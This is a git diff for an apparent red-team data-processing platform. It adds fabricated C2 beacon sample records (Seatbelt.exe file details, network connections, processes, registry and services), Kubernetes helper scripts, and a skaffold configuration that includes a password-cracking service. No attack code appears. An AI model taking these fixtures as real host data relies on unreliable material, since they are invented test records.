+ "path": "C:/Temp/file_information_message_with_path_size_type_and_modifytime/Seatbelt.exe",
+ "size": "590848",
+ "type": "file",
+ "modification_time": "2023-03-22T12:36:17.000Z"
+ }
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": false,
+ "data_type": "file_information",
+ "expiration": "2024-04-03T10:08:40.000Z",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2023-04-03T10:08:40.000Z"
+ }
+}
\ No newline at end of file
diff --git a/sample_files/structured/file_information2.json b/sample_files/structured/file_information2.json
new file mode 100644
index 0000000..24407e5
--- /dev/null
+++ b/sample_files/structured/file_information2.json
@@ -0,0 +1,24 @@
+{
+ "data": [
+ {
+ "path": "C:/Temp/file_information_message_with_sddl_and_info/Seatbelt.exe",
+ "size": "590848",
+ "type": "file",
+ "creation_time": "2023-03-16T13:09:09.000Z",
+ "access_time": "2023-04-03T10:03:45.000Z",
+ "modification_time": "2023-03-22T12:36:17.000Z",
+ "sddl": "O:S-1-5-21-937929760-3187473010-80948926-1104G:DUD:AI(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;0x1200a9;;;BU)(A;ID;0x1301bf;;;AU)",
+ "version_info": "File: C:\\Temp\\Seatbelt.exe\nInternalName: Seatbelt.exe\nOriginalFilename: Seatbelt.exe\nFileVersion: 1.0.0.0\nFileDescription: Seatbelt\nProduct: Seatbelt\nProductVersion: 1.0.0.0\nDebug: False\nPatched: False\nPreRelease: False\nPrivateBuild: False\nSpecialBuild: False\nLanguage: Language Neutral"
+ }
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": false,
+ "data_type": "file_information",
+ "expiration": "2024-04-03T10:08:40.000Z",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2023-04-03T10:08:40.000Z"
+ }
+}
\ No newline at end of file
diff --git a/sample_files/structured/network_connections.json b/sample_files/structured/network_connections.json
new file mode 100644
index 0000000..91012e9
--- /dev/null
+++ b/sample_files/structured/network_connections.json
@@ -0,0 +1,38 @@
+{
+ "data": [
+ {
+ "local_address": "172.16.111.218:52279",
+ "remote_address": "172.16.111.171:80",
+ "protocol": "tcp,ipv4",
+ "state": "ESTABLISHED",
+ "process_id": 1260,
+ "process_name": "program.exe"
+ },
+ {
+ "local_address": "0.0.0.0:135",
+ "remote_address": "0.0.0.0:0",
+ "protocol": "tcp,ipv4",
+ "state": "LISTEN",
+ "process_id": 920,
+ "process_name": "svchost.exe",
+ "service": "RpcSs"
+ },
+ {
+ "local_address": "0.0.0.0:3389",
+ "protocol": "udp,ipv4",
+ "process_id": 476,
+ "process_name": "svchost.exe",
+ "service": "TermService"
+ }
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": false,
+ "data_type": "network_connection",
+ "expiration": "2024-04-03T10:08:40.000Z",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2023-04-03T10:08:40.000Z"
+ }
+}
\ No newline at end of file
diff --git a/sample_files/structured/path_list.json b/sample_files/structured/path_list.json
new file mode 100644
index 0000000..3c0fb54
--- /dev/null
+++ b/sample_files/structured/path_list.json
@@ -0,0 +1,32 @@
+{
+ "data": [
+ {
+ "path": "C:\\",
+ "items": [
+ "$RECYCLE.BIN\\",
+ "EFI\\",
+ "PerfLogs\\",
+ "Program Files\\",
+ "Program Files (x86)\\",
+ "ProgramData\\",
+ "sources\\",
+ "System Volume Information\\",
+ "Users\\",
+ "WcSandboxState\\",
+ "Windows\\",
+ "pagefile.sys",
+ "swapfile.sys"
+ ]
+ }
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": false,
+ "data_type": "path_list",
+ "expiration": "2024-04-03T10:08:40.000Z",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2023-04-03T10:08:40.000Z"
+ }
+}
\ No newline at end of file
diff --git a/sample_files/structured/process_data.json b/sample_files/structured/process_data.json
new file mode 100644
index 0000000..eec2146
--- /dev/null
+++ b/sample_files/structured/process_data.json
@@ -0,0 +1,46 @@
+{
+ "data": [
+ {
+ "name": "System",
+ "command_line": null,
+ "file_name": null,
+ "memory": 98304,
+ "process_id": 4,
+ "parent_process_id": null,
+ "start_time": "2022-06-20T03:15:16.157393Z",
+ "arch": "x64",
+ "token": {
+ "user": {
+ "name": "NT AUTHORITY\\SYSTEM"
+ },
+ "session": 0
+ }
+ },
+ {
+ "name": "explorer.exe",
+ "command_line": null,
+ "file_name": null,
+ "memory": 18304,
+ "process_id": 10,
+ "parent_process_id": 433,
+ "start_time": "2023-01-20T03:15:16.157393Z",
+ "arch": "x64",
+ "token": {
+ "user": {
+ "name": "NT AUTHORITY\\SYSTEM"
+ },
+ "session": 0
+ }
+ }
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": false,
+ "data_type": "process",
+ "expiration": "2024-04-03T10:08:40.000Z",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2023-04-03T10:08:40.000Z"
+ }
+}
\ No newline at end of file
diff --git a/sample_files/structured/registry_value.json b/sample_files/structured/registry_value.json
new file mode 100644
index 0000000..b3d01a2
--- /dev/null
+++ b/sample_files/structured/registry_value.json
@@ -0,0 +1,147 @@
+{
+ "data": [
+ {
+ "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
+ "value_name": "DefaultDomainName",
+ "value_kind": 1,
+ "value": "THESHIRE",
+ "sddl": "O:SYG:SYD:AI(A;ID;KA;;;SY)(A;CIIOID;GA;;;SY)(A;ID;KA;;;BA)(A;CIIOID;GA;;;BA)(A;ID;KR;;;BU)(A;CIIOID;GR;;;BU)(A;ID;KR;;;AC)(A;CIIOID;GR;;;AC)S:AINO_ACCESS_CONTROL"
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon2",
+ "value_name": "DefaultDomainName",
+ "value_kind": 1,
+ "value": "THESHIRE",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "___ignoreme",
+ "value_kind": 1,
+ "value": "@%SystemRoot%\\system32\\AJRouter.dll,-2",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "description",
+ "value_kind": 1,
+ "value": "@%SystemRoot%\\system32\\AJRouter.dll,-1",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "DisplayName",
+ "value_kind": 1,
+ "value": "@%SystemRoot%\\system32\\AJRouter.dll,-2",
+ "sddl": null
+ },
+ {
+ "key": "HKLM\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "imagepath",
+ "value_kind": 1,
+ "value": "%SystemRoot%\\system32\\svchost.exe -k LocalServiceNetworkRestricted -p",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "ObjectName",
+ "value_kind": 1,
+ "value": "NT AUTHORITY\\LocalService",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "Type",
+ "value_kind": 4,
+ "value": "32",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter\\Parameters",
+ "value_name": "ServiceDll",
+ "value_kind": 1,
+ "value": "%SystemRoot%\\System32\\AJRouter.dll",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter\\Security",
+ "value_name": "Security",
+ "value_kind": 3,
+ "value": "AQAUgKAAAACsAAAAFAAAADAAAAACABwAAQAAAAKAFAD/AQ8AAQEAAAAAAAEAAAAAAgBwAAUAAAAAABQA/QECAAEBAAAAAAAFEgAAAAAAGAD/AQ8AAQIAAAAAAAUgAAAAIAIAAAAAFACNAQIAAQEAAAAAAAUEAAAAAAAUAI0BAgABAQAAAAAABQYAAAAAABQAAAEAAAEBAAAAAAAFCwAAAAEBAAAAAAAFEgAAAAEBAAAAAAAFEgAAAA==",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "DisplayName",
+ "value_kind": 1,
+ "value": "@%SystemRoot%\\system32\\AJRouter.dll,-2",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "DisplayName",
+ "value_kind": 1,
+ "value": "@%SystemRoot%\\system32\\AJRouter.dll,-2",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "DisplayName",
+ "value_kind": 1,
+ "value": "@%SystemRoot%\\system32\\AJRouter.dll,-2",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "DisplayName",
+ "value_kind": 1,
+ "value": "@%SystemRoot%\\system32\\AJRouter.dll,-2",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "DisplayName",
+ "value_kind": 1,
+ "value": "@%SystemRoot%\\system32\\AJRouter.dll,-2",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "DisplayName",
+ "value_kind": 1,
+ "value": "@%SystemRoot%\\system32\\AJRouter.dll,-2",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "DisplayName",
+ "value_kind": 1,
+ "value": "@%SystemRoot%\\system32\\AJRouter.dll,-2",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "DisplayName",
+ "value_kind": 1,
+ "value": "@%SystemRoot%\\system32\\AJRouter.dll,-2",
+ "sddl": null
+ },
+ {
+ "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\AJRouter",
+ "value_name": "DisplayName",
+ "value_kind": 1,
+ "value": "@%SystemRoot%\\system32\\AJRouter.dll,-2",
+ "sddl": null
+ }
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": false,
+ "data_type": "registry_value",
+ "expiration": "2024-04-03T10:08:40.000Z",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2023-04-03T10:08:40.000Z"
+ }
+}
\ No newline at end of file
diff --git a/sample_files/structured/services.json b/sample_files/structured/services.json
new file mode 100644
index 0000000..ce1cfe7
--- /dev/null
+++ b/sample_files/structured/services.json
@@ -0,0 +1,36 @@
+{
+ "data": [
+ {
+ "name": "Winmgmt",
+ "display_name": "Windows Management Instrumentation",
+ "description": "Provides a common interface and object model to access management information about operating system, devices, applications and services. If this service is stopped, most Windows-based software will not function properly. If this service is disabled, any services that explicitly depend on it will fail to start.",
+ "start_name": "localSystem",
+ "state": "Running",
+ "start_mode": "Auto",
+ "type": "SYSTEM",
+ "service_command": "C:/Windows/system32/svchost.exe -k netsvcs -p",
+ "service_dll": "C:/Windows/system32/wbem/WMIsvc.dll",
+ "service_sddl": "O:SYD:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)"
+ },
+ {
+ "name": "DevicesFlowUserSvc_6ce64",
+ "display_name": "DevicesFlow_6ce64",
+ "description": "Allows ConnectUX and PC Settings to Connect and Pair with WiFi displays and Bluetooth devices.",
+ "state": "Stopped",
+ "start_mode": "Manual",
+ "type": "USER",
+ "service_command": "C:/Windows/system32/svchost.exe -k DevicesFlow",
+ "service_sddl": "O:SYD:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCLCSWRPWPDTLOCRRC;;;S-1-5-21-2702878673-795188819-444038987-2781)"
+ }
+ ],
+ "metadata": {
+ "agent_id": "339429212",
+ "agent_type": "beacon",
+ "automated": false,
+ "data_type": "services",
+ "expiration": "2024-04-03T10:08:40.000Z",
+ "source": "DC",
+ "project": "ASSESS-X",
+ "timestamp": "2023-04-03T10:08:40.000Z"
+ }
+}
\ No newline at end of file
diff --git a/sample_files/tomcat-users.xml b/sample_files/tomcat-users.xml
new file mode 100644
index 0000000..aae1e76
--- /dev/null
+++ b/sample_files/tomcat-users.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/sample_files/web.config b/sample_files/web.config
new file mode 100644
index 0000000..e40dd31
--- /dev/null
+++ b/sample_files/web.config
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/sample_files/zip_test.zip b/sample_files/zip_test.zip
new file mode 100644
index 0000000..68ca335
Binary files /dev/null and b/sample_files/zip_test.zip differ
diff --git a/scripts/build_protobufs.sh b/scripts/build_protobufs.sh
new file mode 100755
index 0000000..e1fe37f
--- /dev/null
+++ b/scripts/build_protobufs.sh
@@ -0,0 +1,9 @@
+#/bin/bash
+
+SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
+
+pushd "$SCRIPT_DIR/../" > /dev/null
+
+./packages/python/nemesispb/build.sh
+
+popd > /dev/null
diff --git a/scripts/dashboard_start.sh b/scripts/dashboard_start.sh
new file mode 100644
index 0000000..46d1920
--- /dev/null
+++ b/scripts/dashboard_start.sh
@@ -0,0 +1,6 @@
+#/bin/bash
+
+SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
+cd $SCRIPT_DIR/../
+skaffold dev -m dashboard --port-forward
+poetry run -C ../cmd/dashboard/dashboard streamlit run Nemesis.py
diff --git a/scripts/infra_start.sh b/scripts/infra_start.sh
new file mode 100755
index 0000000..41e4c67
--- /dev/null
+++ b/scripts/infra_start.sh
@@ -0,0 +1,5 @@
+#/bin/bash
+
+SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
+cd $SCRIPT_DIR/../
+skaffold dev -m infra-core -m infra-nemesis -m monitoring --port-forward
diff --git a/scripts/interact.sh b/scripts/interact.sh
new file mode 100755
index 0000000..94683ac
--- /dev/null
+++ b/scripts/interact.sh
@@ -0,0 +1,18 @@
+#/bin/bash
+
+if [ -z "$1" ]
+then
+ echo "Runs bash or other commands in a pod. Usage: ./interact.sh [commands]"
+ echo " interact.sh pgadmin"
+ echo " interact.sh pgadmin -c pgadmin -- /bin/sh"
+else
+ POD_NAME=$(kubectl get pod -A | grep $1 | awk '{print $2}')
+
+ # check for more than two arguments
+ if [ $# -gt 2 ]
+ then
+ kubectl exec --stdin --tty $POD_NAME ${@:1}
+ else
+ kubectl exec --stdin --tty $POD_NAME -- /bin/bash
+ fi
+fi
\ No newline at end of file
diff --git a/scripts/pod_resource_usage.sh b/scripts/pod_resource_usage.sh
new file mode 100755
index 0000000..4a088c1
--- /dev/null
+++ b/scripts/pod_resource_usage.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+watch -n 1 'kubectl top pods -A'
diff --git a/scripts/pull_images.sh b/scripts/pull_images.sh
new file mode 100755
index 0000000..9a02beb
--- /dev/null
+++ b/scripts/pull_images.sh
@@ -0,0 +1,37 @@
+#/bin/bash
+
+SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
+pushd "$SCRIPT_DIR/../" > /dev/null
+
+
+DOCKER_IMAGES=$(cat dockerfiles/* | grep -o 'FROM .* ' | grep -Ev 'base|dependencies|debcommon|build|cobaltstrike' | sed -r 's/FROM (.*) as/\1/i' | sort -ui)
+DEPLOYMENT_IMAGES=$(skaffold render | grep 'image: ' | sed -r 's/.*image: (.*)/\1/' | sort -u | grep -vE ':[a-z0-9]{64}$')
+
+# combine and unique the two lists
+IMAGES_TO_PULL=$(echo -e "${DOCKER_IMAGES}\n${DEPLOYMENT_IMAGES}" | sort -ui)
+
+# If minikube is installed, use it's docker daemon
+if command -v minikube &> /dev/null; then
+ DOCKER_ENV=$(minikube docker-env)
+
+ # check error
+ if [ $? -ne 0 ]; then
+ echo "Error: minikube not running?"
+ exit 1
+ fi
+
+ eval $DOCKER_ENV
+fi
+
+
+echo "Pulling the following images"
+echo " From Dockerfiles : ${DOCKER_IMAGES}"
+echo " From Deployment manifests : ${DEPLOYMENT_IMAGES}"
+
+# Pull each image
+for image in $IMAGES_TO_PULL; do
+ docker pull "${image}"
+done
+
+popd > /dev/null
+
diff --git a/scripts/services_start.sh b/scripts/services_start.sh
new file mode 100755
index 0000000..f0095d6
--- /dev/null
+++ b/scripts/services_start.sh
@@ -0,0 +1,11 @@
+#/bin/bash
+
+SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
+cd $SCRIPT_DIR/../
+
+# If any additional args are passed, start only the services module (no enrichment)
+if [ $# -gt 0 ]; then
+ skaffold dev -m services -m dashboard --port-forward
+else
+ skaffold dev -m services -m dashboard -m enrichment --port-forward
+fi
diff --git a/scripts/submit_to_nemesis.sh b/scripts/submit_to_nemesis.sh
new file mode 100755
index 0000000..21b3a9c
--- /dev/null
+++ b/scripts/submit_to_nemesis.sh
@@ -0,0 +1,6 @@
+#/bin/bash
+
+SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
+
+# run the program, passing in arguments passed to the script
+poetry run -C "${SCRIPT_DIR}/../cmd/enrichment" python -m enrichment.cli.submit_to_nemesis "$@"
diff --git a/scripts/total_memory.sh b/scripts/total_memory.sh
new file mode 100755
index 0000000..98a14fe
--- /dev/null
+++ b/scripts/total_memory.sh
@@ -0,0 +1,5 @@
+#!/bin/bash
+
+#watch -n 1 '
+
+watch -n 1 "kubectl top pods -A | grep -v 'kube-system' | grep -v 'NAMESPACE' | awk '{print \$4}' | sed s/Mi// | paste -sd+ | bc"
diff --git a/scripts/watch_pods.sh b/scripts/watch_pods.sh
new file mode 100755
index 0000000..2ab366a
--- /dev/null
+++ b/scripts/watch_pods.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+watch -n 1 'kubectl get pods -A | grep -Ev "kube-(proxy|controller|apiserver|scheduler|state-metrics|system)|coredns-|etcd-minikube|storage-prov|vpnkit"'
diff --git a/skaffold.yaml b/skaffold.yaml
new file mode 100644
index 0000000..8b7503d
--- /dev/null
+++ b/skaffold.yaml
@@ -0,0 +1,276 @@
+apiVersion: skaffold/v4beta3
+kind: Config
+metadata:
+ name: nemesis
+requires:
+ - configs: ["infra-core"]
+ - configs: ["infra-nemesis"]
+ - configs: ["monitoring"]
+ - configs: ["services"]
+ - configs: ["enrichment"]
+---
+#############################################################################
+# infra-core - Deploys core infra (used by several services)
+# - Nginx ingress controller - API routes
+# - Elasticsearch/kibana - Used by Nemesis and Fluentd for logging
+#############################################################################
+apiVersion: skaffold/v4beta2
+kind: Config
+metadata:
+ name: infra-core
+build:
+ tagPolicy:
+ inputDigest: {}
+ local:
+ push: false
+ tryImportMissing: true
+ useBuildkit: true
+ concurrency: 0
+
+manifests:
+ rawYaml:
+ - &k8s-elastic kubernetes/elastic/*
+
+deploy:
+ kubectl: {}
+
+portForward:
+ - &portForward-ingress
+ resourceType: service
+ resourceName: ingress-nginx-controller
+ namespace: ingress-nginx
+ port: 80
+ localPort: 8080
+ address: 0.0.0.0
+ # - &portForward-elastic
+ # resourceType: service
+ # resourceName: nemesis-es-http
+ # namespace: default
+ # port: 9200
+ # localPort: 8834 # publicly expose elastic on 8834
+ # address: 0.0.0.0
+
+---
+#############################################################################
+# monitoring - Monitoring infrastructure
+#############################################################################
+apiVersion: skaffold/v4beta2
+kind: Config
+metadata:
+ name: monitoring
+build:
+ tagPolicy:
+ inputDigest: {}
+ local:
+ push: false
+ tryImportMissing: true
+ useBuildkit: true
+ concurrency: 0
+
+manifests:
+ rawYaml:
+ - &k8s-monitoring kubernetes/monitoring/*
+ - &k8s-ingress-monitoring kubernetes/monitoring/ingress.yaml
+
+deploy:
+ kubectl: {}
+
+---
+#############################################################################
+# infra-nemesis - Deploys static infrastructure (likely won't change during dev)
+#############################################################################
+apiVersion: skaffold/v4beta2
+kind: Config
+metadata:
+ name: infra-nemesis
+build:
+ tagPolicy:
+ inputDigest: {}
+ local:
+ push: false
+ tryImportMissing: true
+ useBuildkit: true
+ concurrency: 0
+ artifacts: []
+
+manifests:
+ rawYaml:
+ # Static infra
+ - &k8s-rabbitmq kubernetes/rabbitmq/*
+ - &k8s-gotenberg kubernetes/gotenberg/*
+ - &k8s-postgres kubernetes/postgres/*
+ - &k8s-pgadmin kubernetes/pgadmin/*
+ - &k8s-tika kubernetes/tika/*
+
+deploy:
+ kubectl: {}
+
+portForward:
+ - &portForward-minios
+ resourceType: service
+ resourceName: minio
+ namespace: default
+ port: 9001
+ address: 0.0.0.0
+
+# portForward:
+# - &portForward-postgres
+# resourceType: service
+# resourceName: postgres
+# namespace: default
+# port: 5432
+# localPort: 5432
+# address: 0.0.0.0
+# - &portForward-rabbmitmq-managementui
+# resourceType: service
+# resourceName: nemesis-rabbitmq-svc
+# namespace: default
+# port: 15672
+# localPort: 15672
+# address: 0.0.0.0
+# - &portForward-rabbmitmq-amqp
+# resourceType: service
+# resourceName: nemesis-rabbitmq-svc
+# namespace: default
+# port: 5672
+# localPort: 5672
+# address: 0.0.0.0
+# - &portForward-gotenberg
+# resourceType: service
+# resourceName: gotenberg
+# namespace: default
+# port: 3000
+# address: 0.0.0.0
+# - &portForward-tika
+# resourceType: service
+# resourceName: tika
+# namespace: default
+# port: 9998
+# address: 0.0.0.0
+
+---
+#########################################################################################
+# nemesis-services - deploys API/enrichment services (common things that change during dev)
+#########################################################################################
+apiVersion: skaffold/v4beta3
+kind: Config
+metadata:
+ name: services
+build:
+ tagPolicy:
+ inputDigest: {}
+ local:
+ push: false
+ tryImportMissing: true
+ useBuildkit: true
+ concurrency: 0
+ artifacts:
+ - &build-dotnet
+ image: nemesis-dotnet
+ docker:
+ dockerfile: dockerfiles/dotnet.Dockerfile
+ - &build-nlp
+ image: nemesis-nlp
+ docker:
+ dockerfile: dockerfiles/nlp.Dockerfile
+ - &build-passwordcracker
+ image: nemesis-passwordcracker
+ docker:
+ dockerfile: dockerfiles/passwordcracker.Dockerfile
+ - &build-tensorflow-serving
+ image: tensorflow-serving
+ docker:
+ dockerfile: dockerfiles/tensorflow-serving.Dockerfile
+
+manifests:
+ rawYaml:
+ - &k8s-dotnet kubernetes/dotnet/*
+ - &k8s-nlp kubernetes/nlp/*
+ - &k8s-passwordcracker kubernetes/passwordcracker/*
+ - &k8s-tensorflow-serving kubernetes/tensorflow-serving/*
+deploy:
+ kubectl: {}
+
+# portForward:
+# - &portForward-dotnet
+# resourceType: service
+# resourceName: dotnet
+# namespace: default
+# port: 9800
+# address: 0.0.0.0
+# - &portForward-nlp
+# resourceType: service
+# resourceName: nlp
+# namespace: default
+# port: 9803
+# address: 0.0.0.0
+# - &portForward-tensorflow-serving
+# resourceType: service
+# resourceName: tensorflow-serving
+# namespace: default
+# port: 8501
+# address: 0.0.0.0
+---
+apiVersion: skaffold/v4beta3
+kind: Config
+metadata:
+ name: enrichment
+build:
+ tagPolicy:
+ inputDigest: {}
+ local:
+ push: false
+ tryImportMissing: true
+ useBuildkit: true
+ concurrency: 0
+ artifacts:
+ - &build-enrichment
+ image: enrichment
+ docker:
+ dockerfile: dockerfiles/enrichment.Dockerfile
+ sync:
+ manual:
+ - src: 'cmd/enrichment/**/*.py'
+ dest: '/app/cmd/enrichment'
+ strip: 'cmd/enrichment'
+
+manifests:
+ rawYaml:
+ - &k8s-enrichment kubernetes/enrichment/*
+deploy:
+ kubectl: {}
+
+# portForward:
+# - &portForward-dotnet
+# resourceType: service
+# resourceName: enrichment-webapi
+# namespace: default
+# port: 9910
+# address: 0.0.0.0
+---
+apiVersion: skaffold/v4beta3
+kind: Config
+metadata:
+ name: dashboard
+build:
+ tagPolicy:
+ inputDigest: {}
+ local:
+ push: false
+ tryImportMissing: true
+ useBuildkit: true
+ concurrency: 0
+ artifacts:
+ - &build-dashboard
+ image: dashboard
+ docker:
+ dockerfile: dockerfiles/dashboard.Dockerfile
+ sync:
+ infer:
+ - "**/*"
+
+manifests:
+ rawYaml:
+ - &k8s-dashboard kubernetes/dashboard/*
+deploy:
+ kubectl: {}